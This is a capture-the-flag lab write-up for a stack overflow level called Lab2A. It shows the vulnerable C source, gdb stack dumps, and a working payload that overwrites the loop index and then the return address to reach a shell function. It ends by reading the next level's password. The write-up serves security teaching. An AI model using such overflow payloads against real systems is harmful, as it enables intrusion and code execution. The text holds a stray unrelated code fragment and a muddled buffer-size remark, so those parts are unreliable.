

Lab2 A Writeup

Source code for binary

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2A.c -o lab2A
 */

void shell()
{
    printf("You got it\n");
    system("/bin/sh");
}

void concatenate_first_chars()
{
    struct {
        char word_buf[12];
        int i;
        char* cat_pointer;
        char cat_buf[10];
    } locals;
    locals.cat_pointer = locals.cat_buf;

    printf("Input 10 words:\n");
    for(locals.i=0; locals.i!=10; locals.i++)
    {
        // Read from stdin
        if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
        {
            printf("Failed to read word\n");
            return;
        }
        // Copy first char from word to next location in concatenated buffer
        *locals.cat_pointer = *locals.word_buf;
        locals.cat_pointer++;
    }

    // Even if something goes wrong, there's a null byte here
    // preventing buffer overflows
    locals.cat_buf[10] = '\0';
    printf("Here are the first characters from the 10 words concatenated:\n\
%s\n", locals.cat_buf);
}

int main(int argc, char** argv)
{
    if(argc != 1)
    {
        printf("usage:\n%s\n", argv[0]);
        return EXIT_FAILURE;
    }

    concatenate_first_chars();
}
```

```

    printf("Not authenticated\n");
    return EXIT_SUCCESS;
}

```

- As we can see, the main function calls a function that creates a struct, then reads 10 words in, and prints out the first letter of each word.
- The first thing to note is that the index variable `i` is vulnerable to being overflowed, and because the loop merely checks `i` does not equal ten, we can overflow it, and then input as many words as we want, leading to further overflows.

This is the stack just after the call to `concat_first_chars`

```

Breakpoint 1, 0x08048723 in concatenate_first_chars ()
gdb-peda$ x/32xw $esp
0xbffff6a0: 0xffffffff 0xbffff6ce 0xb7e2fbf8 0xb7e56273
0xbffff6b0: 0x00000000 0x00c10000 0x00000001 0x0804856d
0xbffff6c0: 0xbffff8b0 0x0000002f 0x0804a000 0x08048852
0xbffff6d0: 0x00000001 0xbffff794 0xbffff6f8 0x080487e6
0xbffff6e0: 0xb7fcd3c4 0xb7fff000 0x0804880b 0xb7fcd000
0xbffff6f0: 0x08048800 0x00000000 0x00000000 0xb7e3ca83
0xbffff700: 0x00000001 0xbffff794 0xbffff79c 0xb7feccea
0xbffff710: 0x00000001 0xbffff794 0xbffff734 0x0804a020

```

This is the state of the stack after one word has been entered.

```

gdb-peda$ x/32xw $esp
0xbffff6a0: 0xbffff6b0 0x00000010 0xb7fcdc20 0xb7e56273
0xbffff6b0: 0x61616161 0x000a6161 0x00000001 0x00000000
0xbffff6c0: 0xbffff6c4 0x0000002f 0x0804a000 0x08048852
0xbffff6d0: 0x00000001 0xbffff794 0xbffff6f8 0x080487e6
0xbffff6e0: 0xb7fcd3c4 0xb7fff000 0x0804880b 0xb7fcd000
0xbffff6f0: 0x08048800 0x00000000 0x00000000 0xb7e3ca83
0xbffff700: 0x00000001 0xbffff794 0xbffff79c 0xb7feccea
0xbffff710: 0x00000001 0xbffff794 0xbffff734 0x0804a020

```

- So our first goal is to overwrite `i`, this is done by inputting 12 bytes, as the char word buffer only has space for ten bytes, these extra 2 bytes overflow into `i`.

```

gdb-peda$ x/32xw $esp
0xbffff6a0: 0xbffff6b0 0x00000010 0xb7fcdc20 0xb7e56273
0xbffff6b0: 0x41414141 0x41414141 0x41414141 0x0000000b
0xbffff6c0: 0xbffff6c6 0x00004161 0x0804a000 0x08048852
0xbffff6d0: 0x00000001 0xbffff794 0xbffff6f8 0x080487e6
0xbffff6e0: 0xb7fcd3c4 0xb7fff000 0x0804880b 0xb7fcd000
0xbffff6f0: 0x08048800 0x00000000 0x00000000 0xb7e3ca83
0xbffff700: 0x00000001 0xbffff794 0xbffff79c 0xb7feccea
0xbffff710: 0x00000001 0xbffff794 0xbffff734 0x0804a020

```

- Here, we have inputted 12 A's, the value at `0xbffff6bc` is the value of `'\n'` after it has been incremented (`i++`). So our first payload is `"A"*12 + "\n"`, where that 13th byte overwrites `i`.
- As we can see at `0xbffff6c4`, we have the location of where each character is stored. Now we must overflow this and overwrite the return address of the function, this is located at `0xbffff6dc`.
- Because we now have the ability to input as many words as we want, we simply need to find the offset of trash bytes, and then overwrite the ret address.
- After some experimentation, we find that we need 24 character pointers including the first overflow character.
- This is the state of the stack at the second overflow, we have halted just before overwriting EIP.

```

gdb-peda$ x/32xw $esp
0xbffff6a0: 0x080488b3 0x00000010 0xb7fcdc20 0xb7e56273
0xbffff6b0: 0x4100000a 0x41414141 0x41414141 0x00000022
0xbffff6c0: 0xbffff6dc 0x61616141 0x61616161 0x61616161
0xbffff6d0: 0x61616161 0x61616161 0x61616161 0x080487e6
0xbffff6e0: 0xb7fcd3c4 0xb7fff000 0x0804880b 0xb7fcd000
0xbffff6f0: 0x08048800 0x00000000 0x00000000 0xb7e3ca83
0xbffff700: 0x00000001 0xbffff794 0xbffff79c 0xb7feccea
0xbffff710: 0x00000001 0xbffff794 0xbffff734 0x0804a020

```

- Shell is at 0x080486fd, so we just need to input that. Our payload is hard to input to the program, so first we print it into a file, and then cat the contents of that into the program.
- The payload is:

```
Lab2A@warzone:/levels/lab02$ python -c 'print "A"*12 + "\n" + "a\n"*23 + "\xfd\n" + "\x86\n" + "\x04\n" + "\x08\n" + "\n"' > /tmp/pwn.bin
```

- Now, if we try to cat this into ./lab2A, we get a segfault. This is because the program starts a shell process after we have closed stdin, so we need to keep stdin open. We do this using (cat payload; cat) | ./binary.
- The final exploit is as such

```
Lab2A@warzone:/levels/lab02$ (cat /tmp/pwn.bin; cat) | ./lab2A
Input 10 words:
Failed to read word
You got it
cat /home/lab2end/.pass
Old_y0u_enj0y_y0ur_cats?
```